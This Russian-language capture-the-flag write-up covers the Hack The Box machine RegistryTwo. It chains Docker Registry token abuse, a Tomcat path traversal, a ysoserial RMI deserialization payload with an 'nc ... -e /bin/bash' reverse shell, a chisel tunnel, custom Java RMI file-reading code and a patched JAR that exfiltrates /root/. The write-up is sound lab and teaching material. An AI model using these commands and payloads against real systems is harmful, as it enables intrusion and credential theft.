HTB RegistryTwo. Эксплуатируем уязвимости Java RMI для полного захвата хоста
В этом райтапе я покажу эксплуатацию нескольких уязвимостей в Java RMI, но сначала проведем атаку на Docker Registry, которая позволит нам получить доступ к файлам сайта.
Наша цель — захват учетной записи суперпользователя на машине RegistryTwo с учебной площадки Hack The Box. Уровень ее сложности — «безумный».
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts
:
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Сканер нашел четыре открытых порта:
В SSL-сертификатах на веб‑сервере нашлось несколько имен DNS, которые мы тоже добавляем в файл /etc/hosts
.
10.10.11.223 registrytwo.htb webhosting.htb www.webhosting.htb
ТОЧКА ВХОДА
Переходим к проверке Docker Registry и делаем запрос к API /v2/_catalog
.
curl -k -s https://webhosting.htb:5000/v2/_catalog | jq
Выходит, нам нужно аутентифицироваться на сервере. Поэтому обратимся к порту 5001 для получения токена.
curl -k -s https://webhosting.htb:5001/auth | jq
Проверяем полученный токен с помощью jwt_tool.
python3 jwt_tool.py eyJ0eXAiOiJKV1Q...
Нас интересует поле access
, так как оно содержит текущие разрешения. В данном случае оно пустое. Снова выполним запрос к API, но просмотрим и HTTP-заголовки запроса и ответа.
curl -k -s https://webhosting.htb:5000/v2/_catalog -v | jq
В заголовке www-authenticate
видим параметры, необходимые для запроса токена. Запросим новый токен, учтя полученные параметры.
curl -k -s 'https://webhosting.htb:5001/auth?service=Docker%20registry&scope=registry:catalog:*' | jq
python3 jwt_tool.py eyJ0eXAiOiJKV1Q....
В новом токене появились привилегии для доступа к каталогу. Теперь мы можем передать этот токен в запросе к API и получить список репозиториев.
curl -k -s https://webhosting.htb:5000/v2/_catalog -H 'Authorization: Bearer eyJ0eXAi...' | jq
Для автоматизации работы с репозиториями можно использовать DockerRegistryGrabber. Но есть проблема: скрипт принимает логин и пароль для авторизации на сервере, а мы знаем только токен. Поэтому я немного модифицировал скрипт, чтобы он в качестве учетных данных принимал токен доступа.
#!/usr/bin/env python3
import requests
import argparse
import re
import json
import sys
import os
from base64 import b64encode
import urllib3
from rich.console import Console
from rich.theme import Theme
from requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)req = requests.Session()
http_proxy = ""
os.environ['HTTP_PROXY'] = http_proxyos.environ['HTTPS_PROXY'] = http_proxycustom_theme = Theme({ "OK": "bright_green", "NOK": "red3"})
def manageArgs(): parser = argparse.ArgumentParser() parser.add_argument("url", help="URL")
parser.add_argument("-p", dest='port', metavar='port', type=int, default=5000, help="port to use (default : 5000)")
auth = parser.add_argument_group("Authentication") auth.add_argument('-T', dest='token', type=str, default="", help='Token')
action = parser.add_mutually_exclusive_group()
action.add_argument("--dump", metavar="DOCKERNAME", dest='dump', type=str, help="DockerName")
action.add_argument("--list", dest='list', action="store_true") action.add_argument("--dump_all",dest='dump_all',action="store_true") args = parser.parse_args()
return args
def printList(dockerlist):
for element in dockerlist:
if element:
console.print(f"[+] {element}", style="OK")
else:
console.print(f"[-] No Docker found", style="NOK")
def tryReq(url, token=None):
try:
if token:
r = req.get(url,verify=False, headers={'Authorization': 'Bearer ' + token})
r.raise_for_status()
else:
r = req.get(url,verify=False)
r.raise_for_status()
except requests.exceptions.HTTPError as errh:
console.print(f"Http Error: {errh}", style="NOK")
sys.exit(1)
except requests.exceptions.ConnectionError as errc: console.print(f"Error Connecting : {errc}", style="NOK")
sys.exit(1)
except requests.exceptions.Timeout as errt:
console.print(f"Timeout Error : {errt}", style="NOK")
sys.exit(1)
except requests.exceptions.RequestException as err: console.print(f"Dunno what happend but something fucked up {err}", style="NOK")
sys.exit(1)
return rdef createDir(directoryName):
if not os.path.exists(directoryName):
os.makedirs(directoryName)
def downloadSha(url, port, docker, sha256, token=None): createDir(docker) directory = f"./{docker}/" for sha in sha256: filenamesha = f"{sha}.tar.gz"
geturl = f"{url}:{str(port)}/v2/{docker}/blobs/sha256:{sha}"
r = tryReq(geturl,token)
if r.status_code == 200:
console.print(f" [+] Downloading : {sha}", style="OK")
with open(directory+filenamesha, 'wb') as out:
for bits in r.iter_content():
out.write(bits)def getBlob(docker, url, port, token=None):
tags = f"{url}:{str(port)}/v2/{docker}/tags/list"
rr = tryReq(tags,token)
data = rr.json()
image = data["tags"][0]
url = f"{url}:{str(port)}/v2/{docker}/manifests/"+image+""
r = tryReq(url,token)
blobSum = []
if r.status_code == 200:
regex = re.compile('blobSum')
for aa in r.text.splitlines():
match = regex.search(aa)
if match:
blobSum.append(aa)
if not blobSum :
console.print(f"[-] No blobSum found", style="NOK")
sys.exit(1)
else :
sha256 = []
cpt = 1
for sha in blobSum:
console.print(f"[+] BlobSum found {cpt}", end='\r', style="OK")
cpt += 1
a = re.split(':|,',sha)
sha256.append(a[2].strip("""))
print()
return sha256
def enumList(url, port, token=None,checklist=None):
url = f"{url}:{str(port)}/v2/_catalog"
try :
r = tryReq(url,token)
if r.status_code == 200:
catalog2 = re.split(':|,|\n ',r.text)
catalog3 = []
for docker in catalog2:
dockername = docker.strip("['"\n]}{")
catalog3.append(dockername)
printList(catalog3[1:])
return catalog3
except:
exit()
def dump(args):
sha256 = getBlob(args.dump, args.url, args.port, args.token) console.print(f"[+] Dumping {args.dump}", style="OK") downloadSha(args.url, args.port, args.dump, sha256, args.token)
def dumpAll(args):
dockerlist = enumList(args.url, args.port, args.token)
for docker in dockerlist[1:]:
sha256 = getBlob(docker, args.url, args.port, args.token) console.print(f"[+] Dumping {docker}", style="OK")
downloadSha(args.url, args.port,docker,sha256,args.token)
def options():
args = manageArgs()
if args.list:
enumList(args.url, args.port,args.token) elif args.dump_all: dumpAll(args)
elif args.dump:
dump(args)if __name__ == '__main__':
print(f"[+]======================================================[+]") print(f"[|] Docker Registry Grabber v1 @SyzikSecu [|]")
print(f"[+]======================================================[+]") print() urllib3.disable_warnings()
console = Console(theme=custom_theme)
options()
Токен передаем в параметре -T
, а для проверки получим список репозиториев. В этом нам поможет параметр --list
.
python3 DockerGraber_token.py --list https://webhosting.htb -T eyJ0eXAi...
Теперь сдампим весь репозиторий на свой хост, для чего передаем название репозитория в параметре --dump
.
python3 DockerGraber_token.py --dump hosting-app https://webhosting.htb -T eyJ0eXA
Получаем сообщение об ошибке, так как у этого токена нет разрешений на дамп репозиториев. Нужно запросить новый токен, для чего снова обращаемся к API /v2/hosting-app/tags/list
и получаем параметры из HTTP-заголовка.
curl -k -s https://webhosting.htb:5000/v2/hosting-app/tags/list -v | jq
curl -k -s 'https://webhosting.htb:5001/auth?service=Docker%20registry&scope=repository:hosting-app:pull' | jq
python3jwt_tool.py eyJ0eXAiOiJKV1Q....
Повторно дампим репозиторий hosting-app
с новым токеном, на этот раз успешно.
python3 DockerGraber_token.py --dump hosting-app https://webhosting.htb -T eyJ0eXAiOiJKV1Q...
После загрузки всех архивов переходим к анализу файлов. Их у нас теперь очень много, поэтому нужно определить, что из этого будет нам полезно.
ТОЧКА ОПОРЫ
В самом первом архиве (0bf45c...79d0ba
) находим файл hosting.ini
с паролем для MySQL. Он может пригодиться.
А вот в архиве 4a19a0...82ac42
лежит весь каталог Apache Tomcat, что дает нам доступ к исходному коду сайта.
Больше всего нас интересует каталог webapps
, содержащий исходники работающих на сервере веб‑приложений, где и находим модуль hosting
.
Теперь можно перейти к анализу самого сайта.
Apache Tomcat — path traversal
Регистрируемся и авторизуемся на сайте, чтобы получить доступ ко всем возможностям.
При тестировании сайтов на Tomcat всегда стоит проверять, нет ли уязвимости обхода каталога.
https://www.webhosting.htb/hosting/..;/examples/
Мы узнали, что уязвимость есть, поэтому сразу перейдем к странице Servlets examples
.
Эта страница открывает богатейшие возможности для манипулирования данными сессий и даже сайта.
Пришло время перейти к анализу кода обнаруженного ранее модуля. Так как это приложение на Java, для его реверса я буду использовать Recaf.
В классе AuthenticationServlets
видим, что пользователь может быть менеджером, за что отвечает атрибут сессии s_IsLoggedInUserRoleManager
(строки 43–45).
Судя по классу ConfigurationServlet
, можно делать настройки. Доступ к этим функциям имеет как раз пользователь с ролью менеджера (строки 42–46).
Один из сервлетов Tomcat позволяет манипулировать атрибутами сессий. Давай активируем роль менеджера, для чего атрибуту s_IsLoggedInUserRoleManager
установим значение true
.
https://www.webhosting.htb/hosting/..;/examples/servlets/servlet/SessionExample
RCE через Java RMI
Теперь можно перейти к новой странице /hosting/reconfigure
и отправить запрос на сохранение изменений. Это нужно, чтобы получить параметры запроса и найти эту функцию в исходниках приложения.
На прошлом скриншоте исходного кода класса ConfigurationServlet
нас интересует обработчик doPost
(строки 28–38). В зависимости от полученных параметров управление дальше передается разным обработчикам. Так, параметры domains.max
и domains.start-template
упоминаются только в классе DomainServlet
(строки 49–62).
При этом в строках 59 и 60 вызывается метод get
класса RMIClientWrapper
. В коде этого метода также отыскался параметр rmi.host
, который в запросе не передавался.
Видимо, если мы отправим адрес хоста в параметре rmi.host
, сервер выполнит запрос по этому адресу. В коде видим фильтр, который проверяет, оканчивается ли адрес подстрокой .htb
. Этот фильтр мы можем обойти, используя нулевой байт %00
. Запускаем листенер (nc -nlvp 9002
) и выполняем запрос.
И моментально в окне листенера видим входящий запрос RMI.
Java RMI — это механизм, который позволяет вызывать метод удаленного объекта, даже на другом сервере. В некоторых вариантах такое подключение может привести даже к RCE, так как передаются и выполняются сериализованные данные.
Попробуем использовать готовый эксплоит. Для этого запускаем ysoserial в режиме листенера, который примет запрос и вернет нагрузку, выполняющую реверс‑шелл. Также запускаем листенер (rlwrap nc -nlpv 4321
), чтобы принимать соединение от реверс‑шелла.
/usr/lib/jvm/java-11-openjdk-amd64/bin/java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 9002 CommonsCollections6 'nc 10.10.16.29 4321 -e /bin/bash'
Когда все готово, повторяем запрос в Burp Repeater и получаем сначала запрос RMI, а затем и бэкконнект.
ПРОДВИЖЕНИЕ
Судя по ограничениям командной оболочки, мы попали в контейнер Docker. Так как на хосте работает Java RMI, эксплуатация уязвимостей в этом механизме — наиболее вероятный путь для продвижения. Среди открытых портов видим 9002.
Для доступа к порту нужно сделать туннель, к примеру с помощью chisel. На своем хосте запускаем режим сервера, ожидающий подключения к порту 5432.
./chisel.bin server -p 5432 --reverse
На удаленном хосте — режим клиента, которому указываем адрес для подключения, а также настройку туннеля socks.
./chisel.bin client 10.10.16.29:5432 R:127.0.0.1:socks
В логах сервера мы должны увидеть созданную сессию.
Для исследования RMI-приложений я использую инструмент remote-method-guesser. Для первой проверки задаем опцию enum
, а чтобы направить трафик в созданный туннель, в конец файла /etc/proxychains.conf
добавляем запись socks5 127.0.0.1 1080
.
proxychains -q /usr/lib/jvm/java-11-openjdk-amd64/bin/java -jar rmg-4.4.1-jar-with-dependencies.jar enum 127.0.0.1 9002
Нам доступны два класса: QuarantineService
и FileService
. О первом сказать нечего, а вот FileService
уже присутствовал в исследованном ранее приложении.
Интерфейс содержит много методов, скорее всего, для работы с файловой системой. Попробуем найти вызовы метода list
, видимо, отображающего содержимое переданного каталога (строка 18).
Переходим к сложной части. Нужно будет написать свое приложение, использующее тот же интерфейс, при этом нужно подключаться к RMI и вызывать метод list
на удаленном хосте. В качестве среды разработки я буду использовать Intellij IDEA.
Распакуем полученное приложение, удалим из него файл класса RMIClientWrapper
и создадим новый проект со своей реализацией. Копируем старый код, в методе get
явно указываем адрес сервера, а также добавляем функцию main
, получающую список файлов.
public class RMIClientWrapper {
private static final Logger log = Logger.getLogger(RMIClientWrapper.class.getSimpleName());
public static FileService get() {
try {
String rmiHost = "registry.webhosting.htb"; System.setProperty("java.rmi.server.hostname", rmiHost); System.setProperty("com.sun.management.jmxremote.rmi.port", "9002"); Registry registry = LocateRegistry.getRegistry(rmiHost, 9002);
return (FileService)registry.lookup("FileService");
}
catch (Exception e) {
e.printStackTrace();
throw new RuntimeException(e);
}
}
public static void main(String args[]) {
try {
String dir = "/";
List<AbstractFile> files = get().list("950ba61ab119", dir); System.out.println("================================="); System.out.println("Listing: " + dir);
for( AbstractFile file : files ) {
System.out.println( file.getAbsolutePath() ); } System.out.println("=================================");
}
catch (RemoteException e) {
e.printStackTrace();
};
}
}
Для работы этого кода добавляем в наш файл реализацию других затронутых классов и методов. Импорты среда разработки подтянет автоматически.
class AbstractFile implements Serializable {
private static final long serialVersionUID = 2267537178761464006L; private final String fileRef;
private final String vhostId;
private final String displayName;
private final File file;
private final String absolutePath;
private final String relativePath;
private final boolean isFile;
private final boolean isDirectory;
private final long displaySize;
private final String displayPermission;
private final long displayModified;
private final AbstractFile parentFile;
public boolean isFile() {
return this.isFile;
}
public String getName() {
return this.file.getName();
}
public boolean canExecute() {
return this.getFile().canExecute();
}
public boolean exists() {
return this.isFile || this.isDirectory;
}
public AbstractFile(String fileRef, String vhostId, String displayName, File file, String absolutePath, String relativePath, boolean isFile, boolean isDirectory, long displaySize, String displayPermission, long displayModified, AbstractFile parentFile) {
this.fileRef = fileRef;
this.vhostId = vhostId;
this.displayName = displayName;
this.file = file;
this.absolutePath = absolutePath;
this.relativePath = relativePath;
this.isFile = isFile;
this.isDirectory = isDirectory;
this.displaySize = displaySize;
this.displayPermission = displayPermission;
this.displayModified = displayModified;
this.parentFile = parentFile;
}
public String getFileRef() {
return this.fileRef;
}
public String getVhostId() {
return this.vhostId; }
public String getDisplayName() {
return this.displayName;
}
public File getFile() {
return this.file;
}
public String getAbsolutePath() {
return this.absolutePath;
}
public String getRelativePath() {
return this.relativePath;
}
public boolean isDirectory() {
return this.isDirectory;
}
public long getDisplaySize() {
return this.displaySize;
}
public String getDisplayPermission() {
return this.displayPermission;
}
public long getDisplayModified() {
return this.displayModified;
}
public AbstractFile getParentFile() {
return this.parentFile;
}}
interface FileService extends Remote {
public List<AbstractFile> list(String var1, String var2) throws RemoteException;
public boolean uploadFile(String var1, String var2, byte[] var3) throws IOException;
public boolean delete(String var1) throws RemoteException;
public boolean createDirectory(String var1, String var2) throws RemoteException;
public byte[] view(String var1, String var2) throws IOException;
public AbstractFile getFile(String var1, String var2) throws RemoteException;
public AbstractFile getFile(String var1) throws RemoteException;
public void deleteDomain(String var1) throws RemoteException;
public boolean newDomain(String var1) throws RemoteException;
public byte[] view(String var1) throws RemoteException;}
Теперь переходим к функции main
и рядом с ее определением нажимаем кнопочку запуска приложения.
Но при запуске видим ошибку соединения, так как приложение не может получить доступ к порту в обход туннеля. Давай просто скопируем строку запуска и запустим программу в консоли, но уже через proxychains
.
И получаем содержимое каталога приложения! Теперь мы можем просматривать файловую систему удаленного сервера, просто меняя в нашем приложении переменную dir
. Давай просмотрим домашние каталоги пользователей.
Находим всего одного пользователя с домашним каталогом, где есть очень интересный файл .git-credentials
. Теперь получим его содержимое, для чего будем использовать метод view
. Давай дополним функцию main
и для пробы прочитаем файл /etc/passwd
.
public static void main(String args[]) { try { String dir = "../../../../home/developer/"; List<AbstractFile> files = get().list("950ba61ab119", dir); System.out.println("================================="); System.out.println("Listing: " + dir); for( AbstractFile file : files ) { System.out.println( file.getAbsolutePath() ); } System.out.println("=================================\n"); String filename = "/etc/passwd"; System.out.println("Content " + filename + " :"); byte[] byteContent = get().view(filename); String content = new String( byteContent, StandardCharsets.UTF_8 ); System.out.println(content); } catch (RemoteException e) { e.printStackTrace(); }; }
Во время чтения файла получаем ошибку, разобраться с которой у меня долго не выходило, пока на форуме мне не указали на то, что имя файла шифруется перед отправкой. Тогда код функции main
приобретает следующий вид.
public static void main(String args[]) {
try {
String dir = "../../../../home/developer/";
List<AbstractFile> files = get().list("950ba61ab119", dir); System.out.println("================================="); System.out.println("Listing: " + dir);
for( AbstractFile file : files ) {
System.out.println( file.getAbsolutePath() );
}
System.out.println("=================================\n");
String filename = "/etc/passwd";
System.out.println("Content " + filename + " :");
CryptUtil cryptUtil = new CryptUtil();
byte[] byteContent = get().view(cryptUtil.encrypt(filename));
String content = new String( byteContent, StandardCharsets.UTF_8 ); System.out.println(content);
}
catch (RemoteException e) {
e.printStackTrace();
};
}
Добавляем в файл код класса CryptUtil
.
class CryptUtil {
public static CryptUtil instance = new CryptUtil();
Cipher ecipher; Cipher dcipher;
byte[] salt = new byte[]{-87, -101, -56, 50, 86, 53, -29, 3};
int iterationCount = 19;
String secretKey = "48gREsTkb1evb3J8UfP7";
public static CryptUtil getInstance() {
return instance;
}
public String encrypt(String plainText) {
try {
PBEKeySpec keySpec = new PBEKeySpec(this.secretKey.toCharArray(), this.salt, this.iterationCount);
SecretKey key = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(keySpec);
PBEParameterSpec paramSpec = new PBEParameterSpec(this.salt, this.iterationCount);
this.ecipher = Cipher.getInstance(key.getAlgorithm()); this.ecipher.init(1, key, paramSpec);
String charSet = "UTF-8";
byte[] in = plainText.getBytes("UTF-8");
byte[] out = this.ecipher.doFinal(in);
String encStr = Base64.getUrlEncoder().encodeToString(out);
return encStr;
}
catch (Exception e) {
throw new RuntimeException(e);
}
}
public String decrypt(String encryptedText) throws NoSuchAlgorithmException, InvalidKeySpecException, NoSuchPaddingException, InvalidKeyException, InvalidAlgorithmParameterException, UnsupportedEncodingException, IllegalBlockSizeException, BadPaddingException, IOException { PBEKeySpec keySpec = new PBEKeySpec(this.secretKey.toCharArray(), this.salt, this.iterationCount);
SecretKey key = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(keySpec);
PBEParameterSpec paramSpec = new PBEParameterSpec(this.salt, this.iterationCount);
this.dcipher = Cipher.getInstance(key.getAlgorithm()); this.dcipher.init(2, key, paramSpec);
byte[] enc = Base64.getUrlDecoder().decode(encryptedText);
byte[] utf8 = this.dcipher.doFinal(enc);
String charSet = "UTF-8";
String plainStr = new String(utf8, "UTF-8");
return plainStr;
}
}
Код работает, теперь у нас есть возможность читать файлы. Вернемся к файлу .git-credentials
.
С полученными учетными данными авторизуемся по SSH и забираем первый флаг.
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Мы в системе, пора собирать информацию! Я, как всегда, загружу и запущу на целевом хосте PEASS.
Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Просматриваем вывод скрипта и подмечаем, что в каталоге /opt
есть созданный пользователем файл registry.jar
.
Информации мало, поэтому проследим, запускается ли этот файл. Для отслеживания запускаемых процессов в системе мы будем использовать утилиту pspy64. В выводе находим запуск другого файла — quarantine.jar
. Но, что более интересно, он запускается в контексте пользователя с UID=0, а это root.
Скачиваем оба файла на свой хост для анализа.
scp [email protected]:/usr/share/vhost-manage/includes/quarantine.jar ./ scp [email protected]:/opt/registry.jar ./
Начинаем с файла, который запускается. В функции Main
создается объект класса Client
и вызывается метод scan
(строка 10).
Этот класс доступен и через RMI. После подключения к порту 9002 происходит получение конфигурации, которая передается конструктору класса ClamScan
(строки 28–31). В методе scan
программа получает список файлов, каждый из которых передается в метод doScan
(строки 35–43).
В конфиге указан каталог для сканирования и каталог, видимо, для результатов сканирования, а также хост, порт и тайм‑аут для подключения (строки 10–14).
Переходим к методу doScan
, где стоит обратить внимание на строки 69, 70 и 77. Если при сканировании метод scanPath
класса ClamScan
вернет FAILED
, то файл передается на карантин, где и происходит копирование файла.
Перейдем к классу ClamScan
и взглянем на метод scanPath
. Первым делом он подключается к указанному в конфигурации адресу (строки 163–165). Отправляется лишь информация о сканируемом файле (строки 204–205).
Теперь перейдем к файлу сервера RMI. Сервер принимает соединение и передает конфиги.
Создание конфига с параметрами находим в классе QuarantineServerImpl
.
Выходит, что если мы сможем запустить свой сервер и передать свои конфиги для сканирования, то у нас появится возможность скопировать все файлы из произвольного каталога. Конечно же, нам интересен каталог пользователя root. Еще раз запускаем pspy64, чтобы отследить, происходит ли запуск файла сервера.
В логах находим периодический перезапуск файла сервера, а значит, мы можем успеть запустить свою версию.
В этот раз мы не будем заново писать код, а изменим в уже собранном файле всего одну строку в классе QuarantineServerImpl
, где происходит установка конфига. Это строка 15.
private static final QuarantineConfiguration DEFAULT_CONFIG = new QuarantineConfiguration(new File("/tmp/quarantine"), new File("/root/"), "10.10.16.29", 3310, 1000);
Указываем каталог /root/
для сканирования и копирования файлов в каталог/tmp/quarantine
. Затем в меню декомпилятора выбираем File → Export Program и сохраняем новый файл JAR. Копируем его на удаленный сервер и запускаем в цикле. Как только сервер запустится, получим соответствующее сообщение.
while true;do java -jar registry_new.jar 2>/dev/null;done
Для получения логов на локальном хосте откроем порт 3310.
socat -d -d TCP4-LISTEN:3310,reuseaddr,fork STDOUT
В логах снова видим файл .git-credentials
. Давай найдем его на сервере.
С полученным паролем авторизуемся от имени root и забираем последний флаг.